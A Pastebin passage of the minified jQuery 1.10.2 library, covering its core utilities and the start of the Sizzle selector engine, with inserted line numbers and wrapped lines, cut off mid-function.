Guest User

Untitled

a guest
Sep 12th, 2016
259
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 416.73 KB | None | 0 0
  1. /*! jQuery v1.10.2 | (c) 2005, 2013 jQuery Foundation, Inc. | jquery.org/license
  2. //@ sourceMappingURL=jquery-1.10.2.min.map
  3. */
  4. (function(e,t){var n,r,i=typeof t,o=e.location,a=e.document,s=a.documentElement,l=e.jQuery,u=e.$,c={},p=
  5.  
  6. [],f="1.10.2",d=p.concat,h=p.push,g=p.slice,m=p.indexOf,y=c.toString,v=c.hasOwnProperty,b=f.trim,x=function
  7.  
  8. (e,t){return new x.fn.init(e,t,r)},w=/[+-]?(?:\d*\.|)\d+(?:[eE][+-]?\d+|)/.source,T=/\S+/g,C=/^[\s\uFEFF\xA0]+|
  9.  
  10. [\s\uFEFF\xA0]+$/g,N=/^(?:\s*(<[\w\W]+>)[^>]*|#([\w-]*))$/,k=/^<(\w+)\s*\/?>(?:<\/\1>|)$/,E=/^[\],:{}\s]*
  11.  
  12. $/,S=/(?:^|:|,)(?:\s*\[)+/g,A=/\\(?:["\\\/bfnrt]|u[\da-fA-F]{4})/g,j=/"[^"\\\r\n]*"|true|false|null|-?(?:\d+
  13.  
  14. \.|)\d+(?:[eE][+-]?\d+|)/g,D=/^-ms-/,L=/-([\da-z])/gi,H=function(e,t){return t.toUpperCase()},q=function(e)
  15.  
  16. {(a.addEventListener||"load"===e.type||"complete"===a.readyState)&&(_(),x.ready())},_=function()
  17.  
  18. {a.addEventListener?(a.removeEventListener("DOMContentLoaded",q,!1),e.removeEventListener("load",q,!
  19.  
  20. 1)):(a.detachEvent("onreadystatechange",q),e.detachEvent("onload",q))};x.fn=x.prototype=
  21.  
  22. {jquery:f,constructor:x,init:function(e,n,r){var i,o;if(!e)return this;if("string"==typeof e){if(i="<"===e.charAt(0)
  23.  
  24. &&">"===e.charAt(e.length-1)&&e.length>=3?[null,e,null]:N.exec(e),!i||!i[1]&&n)return!n||n.jquery?(n||
  25.  
  26. r).find(e):this.constructor(n).find(e);if(i[1]){if(n=n instanceof x?n[0]:n,x.merge(this,x.parseHTML(i
  27.  
  28. [1],n&&n.nodeType?n.ownerDocument||n:a,!0)),k.test(i[1])&&x.isPlainObject(n))for(i in n)x.isFunction(this
  29.  
  30. [i])?this[i](n[i]):this.attr(i,n[i]);return this}if(o=a.getElementById(i[2]),o&&o.parentNode){if(o.id!==i[2])return
  31.  
  32. r.find(e);this.length=1,this[0]=o}return this.context=a,this.selector=e,this}return e.nodeType?
  33.  
  34. (this.context=this[0]=e,this.length=1,this):x.isFunction(e)?r.ready(e):(e.selector!==t&&
  35.  
  36. (this.selector=e.selector,this.context=e.context),x.makeArray(e,this))},selector:"",length:0,toArray:function()
  37.  
  38. {return g.call(this)},get:function(e){return null==e?this.toArray():0>e?this[this.length+e]:this
  39.  
  40. [e]},pushStack:function(e){var t=x.merge(this.constructor(),e);return
  41.  
  42. t.prevObject=this,t.context=this.context,t},each:function(e,t){return x.each(this,e,t)},ready:function(e){return
  43.  
  44. x.ready.promise().done(e),this},slice:function(){return this.pushStack(g.apply(this,arguments))},first:function
  45.  
  46. (){return this.eq(0)},last:function(){return this.eq(-1)},eq:function(e){var t=this.length,n=+e+(0>e?t:0);return
  47.  
  48. this.pushStack(n>=0&&t>n?[this[n]]:[])},map:function(e){return this.pushStack(x.map(this,function(t,n){return
  49.  
  50. e.call(t,n,t)}))},end:function(){return this.prevObject||this.constructor(null)},push:h,sort:[].sort,splice:
  51.  
  52. [].splice},x.fn.init.prototype=x.fn,x.extend=x.fn.extend=function(){var e,n,r,i,o,a,s=arguments[0]||
  53.  
  54. {},l=1,u=arguments.length,c=!1;for("boolean"==typeof s&&(c=s,s=arguments[1]||{},l=2),"object"==typeof s||
  55.  
  56. x.isFunction(s)||(s={}),u===l&&(s=this,--l);u>l;l++)if(null!=(o=arguments[l]))for(i in o)e=s[i],r=o[i],s!==r&&
  57.  
  58. (c&&r&&(x.isPlainObject(r)||(n=x.isArray(r)))?(n?(n=!1,a=e&&x.isArray(e)?e:[]):a=e&&x.isPlainObject(e)?e:
  59.  
  60. {},s[i]=x.extend(c,a,r)):r!==t&&(s[i]=r));return s},x.extend({expando:"jQuery"+(f+Math.random()).replace(/
  61.  
  62. \D/g,""),noConflict:function(t){return e.$===x&&(e.$=u),t&&e.jQuery===x&&(e.jQuery=l),x},isReady:!
  63.  
  64. 1,readyWait:1,holdReady:function(e){e?x.readyWait++:x.ready(!0)},ready:function(e){if(e===!0?!--
  65.  
  66. x.readyWait:!x.isReady){if(!a.body)return setTimeout(x.ready);x.isReady=!0,e!==!0&&--x.readyWait>0||
  67.  
  68. (n.resolveWith(a,[x]),x.fn.trigger&&x(a).trigger("ready").off("ready"))}},isFunction:function(e)
  69.  
  70. {return"function"===x.type(e)},isArray:Array.isArray||function(e){return"array"===x.type
  71.  
  72. (e)},isWindow:function(e){return null!=e&&e==e.window},isNumeric:function(e){return!isNaN(parseFloat
  73.  
  74. (e))&&isFinite(e)},type:function(e){return null==e?e+"":"object"==typeof e||"function"==typeof e?c[y.call
  75.  
  76. (e)]||"object":typeof e},isPlainObject:function(e){var n;if(!e||"object"!==x.type(e)||e.nodeType||
  77.  
  78. x.isWindow(e))return!1;try{if(e.constructor&&!v.call(e,"constructor")&&!v.call
  79.  
  80. (e.constructor.prototype,"isPrototypeOf"))return!1}catch(r){return!1}if(x.support.ownLast)for(n in e)return
  81.  
  82. v.call(e,n);for(n in e);return n===t||v.call(e,n)},isEmptyObject:function(e){var t;for(t in e)return!1;return!
  83.  
  84. 0},error:function(e){throw Error(e)},parseHTML:function(e,t,n){if(!e||"string"!=typeof e)return
  85.  
  86. null;"boolean"==typeof t&&(n=t,t=!1),t=t||a;var r=k.exec(e),i=!n&&[];return r?[t.createElement(r[1])]:
  87.  
  88. (r=x.buildFragment([e],t,i),i&&x(i).remove(),x.merge([],r.childNodes))},parseJSON:function(n){return
  89.  
  90. e.JSON&&e.JSON.parse?e.JSON.parse(n):null===n?n:"string"==typeof n&&(n=x.trim(n),n&&E.test(n.replace
  91.  
  92. (A,"@").replace(j,"]").replace(S,"")))?Function("return "+n)():(x.error("Invalid JSON:
  93.  
  94. "+n),t)},parseXML:function(n){var r,i;if(!n||"string"!=typeof n)return null;try{e.DOMParser?(i=new
  95.  
  96. DOMParser,r=i.parseFromString(n,"text/xml")):(r=new ActiveXObject
  97.  
  98. ("Microsoft.XMLDOM"),r.async="false",r.loadXML(n))}catch(o){r=t}return r&&r.documentElement&&!
  99.  
  100. r.getElementsByTagName("parsererror").length||x.error("Invalid XML: "+n),r},noop:function()
  101.  
  102. {},globalEval:function(t){t&&x.trim(t)&&(e.execScript||function(t){e.eval.call(e,t)})(t)},camelCase:function(e)
  103.  
  104. {return e.replace(D,"ms-").replace(L,H)},nodeName:function(e,t){return
  105.  
  106. e.nodeName&&e.nodeName.toLowerCase()===t.toLowerCase()},each:function(e,t,n){var r,i=0,o=e.length,a=M
  107.  
  108. (e);if(n){if(a){for(;o>i;i++)if(r=t.apply(e[i],n),r===!1)break}else for(i in e)if(r=t.apply(e[i],n),r===!1)break}else if
  109.  
  110. (a){for(;o>i;i++)if(r=t.call(e[i],i,e[i]),r===!1)break}else for(i in e)if(r=t.call(e[i],i,e[i]),r===!1)break;return
  111.  
  112. e},trim:b&&!b.call("\ufeff\u00a0")?function(e){return null==e?"":b.call(e)}:function(e){return null==e?"":(e
  113.  
  114. +"").replace(C,"")},makeArray:function(e,t){var n=t||[];return null!=e&&(M(Object(e))?x.merge
  115.  
  116. (n,"string"==typeof e?[e]:e):h.call(n,e)),n},inArray:function(e,t,n){var r;if(t){if(m)return m.call(t,e,n);for
  117.  
  118. (r=t.length,n=n?0>n?Math.max(0,r+n):n:0;r>n;n++)if(n in t&&t[n]===e)return n}return-1},merge:function(e,n)
  119.  
  120. {var r=n.length,i=e.length,o=0;if("number"==typeof r)for(;r>o;o++)e[i++]=n[o];else while(n[o]!==t)e[i++]=n[o+
  121.  
  122. +];return e.length=i,e},grep:function(e,t,n){var r,i=[],o=0,a=e.length;for(n=!!n;a>o;o++)r=!!t(e[o],o),n!
  123.  
  124. ==r&&i.push(e[o]);return i},map:function(e,t,n){var r,i=0,o=e.length,a=M(e),s=[];if(a)for(;o>i;i++)r=t(e
  125.  
  126. [i],i,n),null!=r&&(s[s.length]=r);else for(i in e)r=t(e[i],i,n),null!=r&&(s[s.length]=r);return d.apply
  127.  
  128. ([],s)},guid:1,proxy:function(e,n){var r,i,o;return"string"==typeof n&&(o=e[n],n=e,e=o),x.isFunction(e)?
  129.  
  130. (r=g.call(arguments,2),i=function(){return e.apply(n||this,r.concat(g.call(arguments)))},i.guid=e.guid=e.guid||
  131.  
  132. x.guid++,i):t},access:function(e,n,r,i,o,a,s){var l=0,u=e.length,c=null==r;if("object"===x.type(r)){o=!0;for(l in r)
  133.  
  134. x.access(e,n,l,r[l],!0,a,s)}else if(i!==t&&(o=!0,x.isFunction(i)||(s=!0),c&&(s?(n.call(e,i),n=null):(c=n,n=function
  135.  
  136. (e,t,n){return c.call(x(e),n)})),n))for(;u>l;l++)n(e[l],r,s?i:i.call(e[l],l,n(e[l],r)));return o?e:c?n.call(e):u?n(e
  137.  
  138. [0],r):a},now:function(){return(new Date).getTime()},swap:function(e,t,n,r){var i,o,a={};for(o in t)a[o]=e.style
  139.  
  140. [o],e.style[o]=t[o];i=n.apply(e,r||[]);for(o in t)e.style[o]=a[o];return i}}),x.ready.promise=function(t){if(!n)if
  141.  
  142. (n=x.Deferred(),"complete"===a.readyState)setTimeout(x.ready);else if(a.addEventListener)
  143.  
  144. a.addEventListener("DOMContentLoaded",q,!1),e.addEventListener("load",q,!1);else{a.attachEvent
  145.  
  146. ("onreadystatechange",q),e.attachEvent("onload",q);var r=!1;try
  147.  
  148. {r=null==e.frameElement&&a.documentElement}catch(i){}r&&r.doScroll&&function o(){if(!x.isReady){try
  149.  
  150. {r.doScroll("left")}catch(e){return setTimeout(o,50)}_(),x.ready()}}()}return n.promise(t)},x.each("Boolean
  151.  
  152. Number String Function Array Date RegExp Object Error".split(" "),function(e,t){c["[object "+t+"]"]
  153.  
  154. =t.toLowerCase()});function M(e){var t=e.length,n=x.type(e);return x.isWindow(e)?!1:1===e.nodeType&&t?!
  155.  
  156. 0:"array"===n||"function"!==n&&(0===t||"number"==typeof t&&t>0&&t-1 in e)}r=x(a),function(e,t){var
  157.  
  158. n,r,i,o,a,s,l,u,c,p,f,d,h,g,m,y,v,b="sizzle"+-new Date,w=e.document,T=0,C=0,N=st(),k=st(),E=st(),S=!1,A=function
  159.  
  160. (e,t){return e===t?(S=!0,0):0},j=typeof t,D=1<<31,L={}.hasOwnProperty,H=
  161.  
  162. [],q=H.pop,_=H.push,M=H.push,O=H.slice,F=H.indexOf||function(e){var t=0,n=this.length;for(;n>t;t++)if(this[t]
  163.  
  164. ===e)return t;return-1},B="checked|selected|async|autofocus|autoplay|controls|defer|disabled|hidden|
  165.  
  166. ismap|loop|multiple|open|readonly|required|scoped",P="[\\x20\\t\\r\\n\\f]",R="(?:\\\\.|[\\w-]|[^\\x00-\
  167.  
  168. \xa0])+",W=R.replace("w","w#"),$="\\["+P+"*("+R+")"+P+"*(?:([*^$|!~]?=)"+P+"*(?:(['\"])((?:\\\\.|[^\\\\])*?)\
  169.  
  170. \3|("+W+")|)|)"+P+"*\\]",I=":("+R+")(?:\\(((['\"])((?:\\\\.|[^\\\\])*?)\\3|((?:\\\\.|[^\\\\()[\\]]|"+$.replace
  171.  
  172. (3,8)+")*)|.*)\\)|)",z=RegExp("^"+P+"+|((?:^|[^\\\\])(?:\\\\.)*)"+P+"+$","g"),X=RegExp("^"+P+"*,"+P
  173.  
  174. +"*"),U=RegExp("^"+P+"*([>+~]|"+P+")"+P+"*"),V=RegExp(P+"*[+~]"),Y=RegExp("="+P+"*([^\\]'\"]*)"+P+"*\
  175.  
  176. \]","g"),J=RegExp(I),G=RegExp("^"+W+"$"),Q={ID:RegExp("^#("+R+")"),CLASS:RegExp("^\\.("+R+")"),TAG:RegExp
  177.  
  178. ("^("+R.replace("w","w*")+")"),ATTR:RegExp("^"+$),PSEUDO:RegExp("^"+I),CHILD:RegExp("^:(only|first|last|
  179.  
  180. nth|nth-last)-(child|of-type)(?:\\("+P+"*(even|odd|(([+-]|)(\\d*)n|)"+P+"*(?:([+-]|)"+P+"*(\\d+)|))"+P+"*\
  181.  
  182. \)|)","i"),bool:RegExp("^(?:"+B+")$","i"),needsContext:RegExp("^"+P+"*[>+~]|:(even|odd|eq|gt|lt|nth|first|
  183.  
  184. last)(?:\\("+P+"*((?:-\\d)?\\d*)"+P+"*\\)|)(?=[^-]|$)","i")},K=/^[^{]+\{\s*\[native \w/,Z=/^(?:#([\w-]+)|(\w+)|\.
  185.  
  186. ([\w-]+))$/,et=/^(?:input|select|textarea|button)$/i,tt=/^h\d$/i,nt=/'|\\/g,rt=RegExp("\\\\([\\da-f]{1,6}"+P
  187.  
  188. +"?|("+P+")|.)","ig"),it=function(e,t,n){var r="0x"+t-65536;return r!==r||n?t:0>r?String.fromCharCode(r
  189.  
  190. +65536):String.fromCharCode(55296|r>>10,56320|1023&r)};try{M.apply(H=O.call
  191.  
  192. (w.childNodes),w.childNodes),H[w.childNodes.length].nodeType}catch(ot){M={apply:H.length?function(e,t)
  193.  
  194. {_.apply(e,O.call(t))}:function(e,t){var n=e.length,r=0;while(e[n++]=t[r++]);e.length=n-1}}}function at(e,t,n,i)
  195.  
  196. {var o,a,s,l,u,c,d,m,y,x;if((t?t.ownerDocument||t:w)!==f&&p(t),t=t||f,n=n||[],!e||"string"!=typeof e)return
  197.  
  198. n;if(1!==(l=t.nodeType)&&9!==l)return[];if(h&&!i){if(o=Z.exec(e))if(s=o[1]){if(9===l){if(a=t.getElementById
  199.  
  200. (s),!a||!a.parentNode)return n;if(a.id===s)return n.push(a),n}else if(t.ownerDocument&&
  201.  
  202. (a=t.ownerDocument.getElementById(s))&&v(t,a)&&a.id===s)return n.push(a),n}else{if(o[2])return M.apply
  203.  
  204. (n,t.getElementsByTagName(e)),n;if((s=o[3])&&r.getElementsByClassName&&t.getElementsByClassName)
  205.  
  206. return M.apply(n,t.getElementsByClassName(s)),n}if(r.qsa&&(!g||!g.test(e))){if
  207.  
  208. (m=d=b,y=t,x=9===l&&e,1===l&&"object"!==t.nodeName.toLowerCase()){c=mt(e),(d=t.getAttribute("id"))?
  209.  
  210. m=d.replace(nt,"\\$&"):t.setAttribute("id",m),m="[id='"+m+"'] ",u=c.length;while(u--)c[u]=m+yt(c[u]);y=V.test
  211.  
  212. (e)&&t.parentNode||t,x=c.join(",")}if(x)try{return M.apply(n,y.querySelectorAll(x)),n}catch(T){}finally{d||
  213.  
  214. t.removeAttribute("id")}}}return kt(e.replace(z,"$1"),t,n,i)}function st(){var e=[];function t(n,r){return e.push
  215.  
  216. (n+=" ")>o.cacheLength&&delete t[e.shift()],t[n]=r}return t}function lt(e){return e[b]=!0,e}function ut(e){var
  217.  
  218. t=f.createElement("div");try{return!!e(t)}catch(n){return!1}finally{t.parentNode&&t.parentNode.removeChild
  219.  
  220. (t),t=null}}function ct(e,t){var n=e.split("|"),r=e.length;while(r--)o.attrHandle[n[r]]=t}function pt(e,t){var
  221.  
  222. n=t&&e,r=n&&1===e.nodeType&&1===t.nodeType&&(~t.sourceIndex||D)-(~e.sourceIndex||D);if(r)return r;if
  223.  
  224. (n)while(n=n.nextSibling)if(n===t)return-1;return e?1:-1}function ft(e){return function(t){var
  225.  
  226. n=t.nodeName.toLowerCase();return"input"===n&&t.type===e}}function dt(e){return function(t){var
  227.  
  228. n=t.nodeName.toLowerCase();return("input"===n||"button"===n)&&t.type===e}}function ht(e){return lt
  229.  
  230. (function(t){return t=+t,lt(function(n,r){var i,o=e([],n.length,t),a=o.length;while(a--)n[i=o[a]]&&(n[i]=!(r[i]=n
  231.  
  232. [i]))})})}s=at.isXML=function(e){var t=e&&(e.ownerDocument||e).documentElement;return t?"HTML"!
  233.  
  234. ==t.nodeName:!1},r=at.support={},p=at.setDocument=function(e){var n=e?e.ownerDocument||
  235.  
  236. e:w,i=n.defaultView;return n!==f&&9===n.nodeType&&n.documentElement?(f=n,d=n.documentElement,h=!s
  237.  
  238. (n),i&&i.attachEvent&&i!==i.top&&i.attachEvent("onbeforeunload",function(){p()}),r.attributes=ut(function(e)
  239.  
  240. {return e.className="i",!e.getAttribute("className")}),r.getElementsByTagName=ut(function(e){return
  241.  
  242. e.appendChild(n.createComment("")),!e.getElementsByTagName("*").length}),r.getElementsByClassName=ut
  243.  
  244. (function(e){return e.innerHTML="<div class='a'></div><div class='a
  245.  
  246. i'></div>",e.firstChild.className="i",2===e.getElementsByClassName("i").length}),r.getById=ut(function(e)
  247.  
  248. {return d.appendChild(e).id=b,!n.getElementsByName||!n.getElementsByName(b).length}),r.getById?
  249.  
  250. (o.find.ID=function(e,t){if(typeof t.getElementById!==j&&h){var n=t.getElementById(e);return
  251.  
  252. n&&n.parentNode?[n]:[]}},o.filter.ID=function(e){var t=e.replace(rt,it);return function(e){return e.getAttribute
  253.  
  254. ("id")===t}}):(delete o.find.ID,o.filter.ID=function(e){var t=e.replace(rt,it);return function(e){var n=typeof
  255.  
  256. e.getAttributeNode!==j&&e.getAttributeNode("id");return
  257.  
  258. n&&n.value===t}}),o.find.TAG=r.getElementsByTagName?function(e,n){return typeof
  259.  
  260. n.getElementsByTagName!==j?n.getElementsByTagName(e):t}:function(e,t){var n,r=
  261.  
  262. [],i=0,o=t.getElementsByTagName(e);if("*"===e){while(n=o[i++])1===n.nodeType&&r.push(n);return r}return
  263.  
  264. o},o.find.CLASS=r.getElementsByClassName&&function(e,n){return typeof n.getElementsByClassName!
  265.  
  266. ==j&&h?n.getElementsByClassName(e):t},m=[],g=[],(r.qsa=K.test(n.querySelectorAll))&&(ut(function(e)
  267.  
  268. {e.innerHTML="<select><option selected=''></option></select>",e.querySelectorAll("[selected]").length||
  269.  
  270. g.push("\\["+P+"*(?:value|"+B+")"),e.querySelectorAll(":checked").length||g.push(":checked")}),ut(function
  271.  
  272. (e){var t=n.createElement("input");t.setAttribute("type","hidden"),e.appendChild(t).setAttribute
  273.  
  274. ("t",""),e.querySelectorAll("[t^='']").length&&g.push("[*^$]="+P+"*(?:''|\"\")"),e.querySelectorAll
  275.  
  276. (":enabled").length||g.push(":enabled",":disabled"),e.querySelectorAll("*,:x"),g.push(",.*:")})),
  277.  
  278. (r.matchesSelector=K.test(y=d.webkitMatchesSelector||d.mozMatchesSelector||d.oMatchesSelector||
  279.  
  280. d.msMatchesSelector))&&ut(function(e){r.disconnectedMatch=y.call(e,"div"),y.call(e,"[s!='']:x"),m.push("!
  281.  
  282. =",I)}),g=g.length&&RegExp(g.join("|")),m=m.length&&RegExp(m.join("|")),v=K.test(d.contains)||
  283.  
  284. d.compareDocumentPosition?function(e,t){var n=9===e.nodeType?
  285.  
  286. e.documentElement:e,r=t&&t.parentNode;return e===r||!(!r||1!==r.nodeType||!(n.contains?n.contains
  287.  
  288. (r):e.compareDocumentPosition&&16&e.compareDocumentPosition(r)))}:function(e,t){if(t)while
  289.  
  290. (t=t.parentNode)if(t===e)return!0;return!1},A=d.compareDocumentPosition?function(e,t){if(e===t)return S=!
  291.  
  292. 0,0;var i=t.compareDocumentPosition&&e.compareDocumentPosition&&e.compareDocumentPosition
  293.  
  294. (t);return i?1&i||!r.sortDetached&&t.compareDocumentPosition(e)===i?e===n||v(w,e)?-1:t===n||v(w,t)?1:c?
  295.  
  296. F.call(c,e)-F.call(c,t):0:4&i?-1:1:e.compareDocumentPosition?-1:1}:function(e,t){var
  297.  
  298. r,i=0,o=e.parentNode,a=t.parentNode,s=[e],l=[t];if(e===t)return S=!0,0;if(!o||!a)return e===n?-1:t===n?1:o?-
  299.  
  300. 1:a?1:c?F.call(c,e)-F.call(c,t):0;if(o===a)return pt(e,t);r=e;while(r=r.parentNode)s.unshift(r);r=t;while
  301.  
  302. (r=r.parentNode)l.unshift(r);while(s[i]===l[i])i++;return i?pt(s[i],l[i]):s[i]===w?-1:l[i]===w?
  303.  
  304. 1:0},n):f},at.matches=function(e,t){return at(e,null,null,t)},at.matchesSelector=function(e,t){if
  305.  
  306. ((e.ownerDocument||e)!==f&&p(e),t=t.replace(Y,"='$1']"),!(!r.matchesSelector||!h||m&&m.test(t)||
  307.  
  308. g&&g.test(t)))try{var n=y.call(e,t);if(n||r.disconnectedMatch||e.document&&11!==e.document.nodeType)
  309.  
  310. return n}catch(i){}return at(t,f,null,[e]).length>0},at.contains=function(e,t){return(e.ownerDocument||e)!
  311.  
  312. ==f&&p(e),v(e,t)},at.attr=function(e,n){(e.ownerDocument||e)!==f&&p(e);var i=o.attrHandle[n.toLowerCase
  313.  
  314. ()],a=i&&L.call(o.attrHandle,n.toLowerCase())?i(e,n,!h):t;return a===t?r.attributes||!h?e.getAttribute(n):
  315.  
  316. (a=e.getAttributeNode(n))&&a.specified?a.value:null:a},at.error=function(e){throw Error("Syntax error,
  317.  
  318. unrecognized expression: "+e)},at.uniqueSort=function(e){var t,n=[],i=0,o=0;if(S=!r.detectDuplicates,c=!
  319.  
  320. r.sortStable&&e.slice(0),e.sort(A),S){while(t=e[o++])t===e[o]&&(i=n.push(o));while(i--)e.splice(n[i],1)}return
  321.  
  322. e},a=at.getText=function(e){var t,n="",r=0,i=e.nodeType;if(i){if(1===i||9===i||11===i){if("string"==typeof
  323.  
  324. e.textContent)return e.textContent;for(e=e.firstChild;e;e=e.nextSibling)n+=a(e)}else if(3===i||4===i)return
  325.  
  326. e.nodeValue}else for(;t=e[r];r++)n+=a(t);return n},o=at.selectors=
  327.  
  328. {cacheLength:50,createPseudo:lt,match:Q,attrHandle:{},find:{},relative:{">":{dir:"parentNode",first:!0}," ":
  329.  
  330. {dir:"parentNode"},"+":{dir:"previousSibling",first:!0},"~":{dir:"previousSibling"}},preFilter:{ATTR:function(e)
  331.  
  332. {return e[1]=e[1].replace(rt,it),e[3]=(e[4]||e[5]||"").replace(rt,it),"~="===e[2]&&(e[3]=" "+e[3]+" "),e.slice
  333.  
  334. (0,4)},CHILD:function(e){return e[1]=e[1].toLowerCase(),"nth"===e[1].slice(0,3)?(e[3]||at.error(e[0]),e[4]=+(e
  335.  
  336. [4]?e[5]+(e[6]||1):2*("even"===e[3]||"odd"===e[3])),e[5]=+(e[7]+e[8]||"odd"===e[3])):e[3]&&at.error(e
  337.  
  338. [0]),e},PSEUDO:function(e){var n,r=!e[5]&&e[2];return Q.CHILD.test(e[0])?null:(e[3]&&e[4]!==t?e[2]=e
  339.  
  340. [4]:r&&J.test(r)&&(n=mt(r,!0))&&(n=r.indexOf(")",r.length-n)-r.length)&&(e[0]=e[0].slice(0,n),e[2]=r.slice
  341.  
  342. (0,n)),e.slice(0,3))}},filter:{TAG:function(e){var t=e.replace(rt,it).toLowerCase();return"*"===e?function()
  343.  
  344. {return!0}:function(e){return e.nodeName&&e.nodeName.toLowerCase()===t}},CLASS:function(e){var t=N[e+"
  345.  
  346. "];return t||(t=RegExp("(^|"+P+")"+e+"("+P+"|$)"))&&N(e,function(e){return t.test("string"==typeof
  347.  
  348. e.className&&e.className||typeof e.getAttribute!==j&&e.getAttribute("class")||"")})},ATTR:function(e,t,n)
  349.  
  350. {return function(r){var i=at.attr(r,e);return null==i?"!="===t:t?(i+="","="===t?i===n:"!="===t?i!==n:"^="===t?
  351.  
  352. n&&0===i.indexOf(n):"*="===t?n&&i.indexOf(n)>-1:"$="===t?n&&i.slice(-n.length)===n:"~="===t?(" "+i+"
  353.  
  354. ").indexOf(n)>-1:"|="===t?i===n||i.slice(0,n.length+1)===n+"-":!1):!0}},CHILD:function(e,t,n,r,i){var o="nth"!
  355.  
  356. ==e.slice(0,3),a="last"!==e.slice(-4),s="of-type"===t;return 1===r&&0===i?function(e){return!!
  357.  
  358. e.parentNode}:function(t,n,l){var u,c,p,f,d,h,g=o!
  359.  
  360. ==a?"nextSibling":"previousSibling",m=t.parentNode,y=s&&t.nodeName.toLowerCase(),v=!l&&!s;if(m){if(o)
  361.  
  362. {while(g){p=t;while(p=p[g])if(s?p.nodeName.toLowerCase()===y:1===p.nodeType)return!
  363.  
  364. 1;h=g="only"===e&&!h&&"nextSibling"}return!0}if(h=[a?m.firstChild:m.lastChild],a&&v){c=m[b]||(m[b]=
  365.  
  366. {}),u=c[e]||[],d=u[0]===T&&u[1],f=u[0]===T&&u[2],p=d&&m.childNodes[d];while(p=++d&&p&&p[g]||
  367.  
  368. (f=d=0)||h.pop())if(1===p.nodeType&&++f&&p===t){c[e]=[T,d,f];break}}else if(v&&(u=(t[b]||(t[b]={}))[e])&&u
  369.  
  370. [0]===T)f=u[1];else while(p=++d&&p&&p[g]||(f=d=0)||h.pop())if((s?p.nodeName.toLowerCase()
  371.  
  372. ===y:1===p.nodeType)&&++f&&(v&&((p[b]||(p[b]={}))[e]=[T,f]),p===t))break;return f-=i,f===r||0===f
  373.  
  374. %r&&f/r>=0}}},PSEUDO:function(e,t){var n,r=o.pseudos[e]||o.setFilters[e.toLowerCase()]||at.error
  375.  
  376. ("unsupported pseudo: "+e);return r[b]?r(t):r.length>1?(n=[e,e,"",t],o.setFilters.hasOwnProperty
  377.  
  378. (e.toLowerCase())?lt(function(e,n){var i,o=r(e,t),a=o.length;while(a--)i=F.call(e,o[a]),e[i]=!(n[i]=o
  379.  
  380. [a])}):function(e){return r(e,0,n)}):r}},pseudos:{not:lt(function(e){var t=[],n=[],r=l(e.replace(z,"$1"));return r
  381.  
  382. [b]?lt(function(e,t,n,i){var o,a=r(e,null,i,[]),s=e.length;while(s--)(o=a[s])&&(e[s]=!(t[s]=o))}):function(e,i,o)
  383.  
  384. {return t[0]=e,r(t,null,o,n),!n.pop()}}),has:lt(function(e){return function(t){return at(e,t).length>0}}),contains:lt
  385.  
  386. (function(e){return function(t){return(t.textContent||t.innerText||a(t)).indexOf(e)>-1}}),lang:lt(function(e)
  387.  
  388. {return G.test(e||"")||at.error("unsupported lang: "+e),e=e.replace(rt,it).toLowerCase(),function(t){var n;do if
  389.  
  390. (n=h?t.lang:t.getAttribute("xml:lang")||t.getAttribute("lang"))return n=n.toLowerCase(),n===e||
  391.  
  392. 0===n.indexOf(e+"-");while((t=t.parentNode)&&1===t.nodeType);return!1}}),target:function(t){var
  393.  
  394. n=e.location&&e.location.hash;return n&&n.slice(1)===t.id},root:function(e){return e===d},focus:function(e)
  395.  
  396. {return e===f.activeElement&&(!f.hasFocus||f.hasFocus())&&!!(e.type||e.href||
  397.  
  398. ~e.tabIndex)},enabled:function(e){return e.disabled===!1},disabled:function(e){return e.disabled===!
  399.  
  400. 0},checked:function(e){var t=e.nodeName.toLowerCase();return"input"===t&&!!
  401.  
  402. e.checked||"option"===t&&!!e.selected},selected:function(e){return
  403.  
  404. e.parentNode&&e.parentNode.selectedIndex,e.selected===!0},empty:function(e){for
  405.  
  406. (e=e.firstChild;e;e=e.nextSibling)if(e.nodeName>"@"||3===e.nodeType||4===e.nodeType)return!1;return!
  407.  
  408. 0},parent:function(e){return!o.pseudos.empty(e)},header:function(e){return tt.test
  409.  
  410. (e.nodeName)},input:function(e){return et.test(e.nodeName)},button:function(e){var
  411.  
  412. t=e.nodeName.toLowerCase();return"input"===t&&"button"===e.type||"button"===t},text:function(e){var
  413.  
  414. t;return"input"===e.nodeName.toLowerCase()&&"text"===e.type&&(null==(t=e.getAttribute("type"))||
  415.  
  416. t.toLowerCase()===e.type)},first:ht(function(){return[0]}),last:ht(function(e,t){return[t-1]}),eq:ht(function
  417.  
  418. (e,t,n){return[0>n?n+t:n]}),even:ht(function(e,t){var n=0;for(;t>n;n+=2)e.push(n);return e}),odd:ht(function
  419.  
  420. (e,t){var n=1;for(;t>n;n+=2)e.push(n);return e}),lt:ht(function(e,t,n){var r=0>n?n+t:n;for(;--r>=0;)e.push
  421.  
  422. (r);return e}),gt:ht(function(e,t,n){var r=0>n?n+t:n;for(;t>++r;)e.push(r);return
  423.  
  424. e})}},o.pseudos.nth=o.pseudos.eq;for(n in{radio:!0,checkbox:!0,file:!0,password:!0,image:!0})o.pseudos[n]=ft
  425.  
  426. (n);for(n in{submit:!0,reset:!0})o.pseudos[n]=dt(n);function gt(){}
  427.  
  428. gt.prototype=o.filters=o.pseudos,o.setFilters=new gt;function mt(e,t){var n,r,i,a,s,l,u,c=k[e+" "];if(c)return t?
  429.  
  430. 0:c.slice(0);s=e,l=[],u=o.preFilter;while(s){(!n||(r=X.exec(s)))&&(r&&(s=s.slice(r[0].length)||s),l.push(i=
  431.  
  432. [])),n=!1,(r=U.exec(s))&&(n=r.shift(),i.push({value:n,type:r[0].replace(z," ")}),s=s.slice(n.length));for(a in
  433.  
  434. o.filter)!(r=Q[a].exec(s))||u[a]&&!(r=u[a](r))||(n=r.shift(),i.push({value:n,type:a,matches:r}),s=s.slice
  435.  
  436. (n.length));if(!n)break}return t?s.length:s?at.error(e):k(e,l).slice(0)}function yt(e){var t=0,n=e.length,r="";for
  437.  
  438. (;n>t;t++)r+=e[t].value;return r}function vt(e,t,n){var r=t.dir,o=n&&"parentNode"===r,a=C++;return t.first?
  439.  
  440. function(t,n,i){while(t=t[r])if(1===t.nodeType||o)return e(t,n,i)}:function(t,n,s){var l,u,c,p=T+" "+a;if(s){while
  441.  
  442. (t=t[r])if((1===t.nodeType||o)&&e(t,n,s))return!0}else while(t=t[r])if(1===t.nodeType||o)if(c=t[b]||(t[b]={}),
  443.  
